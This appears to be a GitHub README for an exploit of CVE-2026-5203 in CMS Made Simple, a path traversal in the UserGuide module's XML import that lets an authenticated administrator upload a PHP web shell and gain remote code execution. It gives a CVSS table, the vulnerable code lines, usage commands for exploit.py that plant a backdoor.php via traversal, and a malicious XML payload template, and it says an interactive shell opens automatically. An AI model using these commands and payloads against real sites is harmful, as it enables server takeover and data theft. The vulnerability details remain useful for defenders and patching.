caginkyr/cve-2026-5203Exploit for CVE-2026-5203 in CMS Made Simple, leveraging path traversal and arbitrary file upload to achieve remote code execution with an interactive shell.
The UserGuide module's XML import functionality in CMS Made Simple ≤ 2.2.22 fails to sanitize user-supplied filenames, allowing an authenticated administrator to upload arbitrary files (e.g. PHP web shells) anywhere on the server filesystem via path traversal sequences.
| Field | Value |
|---|
| Type | Path Traversal / Arbitrary File Upload → RCE |
| Component | UserGuide Module — XML Import |
| Affected File | modules/UserGuide/lib/class.UserGuideImporterExporter.php |
| CVSS v3.1 | 7.2 HIGH — CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H |
| Auth Required | Yes (Administrator) |
// modules/UserGuide/lib/class.UserGuideImporterExporter.php (~L250-280)
$filename = (string) $xmlFile->filename;
$isdir = (string) $xmlFile->isdir;
The function writes Base64-decoded content directly to the attacker-controlled path.
python exploit.py <base_url> <admin_url> <username> <password> [upload_path]
Examples:
# Default path
python exploit.py http://target.com http://target.com/admin admin password123
# Custom upload path
python exploit.py http://target.com http://target.com/admin admin password123 \
../../../../../../var/www/html/backdoor.php
Interactive shell starts automatically if the web shell is reachable after upload.
<?xml version="1.0" encoding="UTF-8"?>
<modulecontent>
<module>UserGuide</module>
<version>1.3</version>
<files>
<file>
<filename>../../../webshell.php</filename>
<isdir>0</isdir>
<data>[BASE64_ENCODED_PHP_CODE]</data>
</file>
</files>
</modulecontent>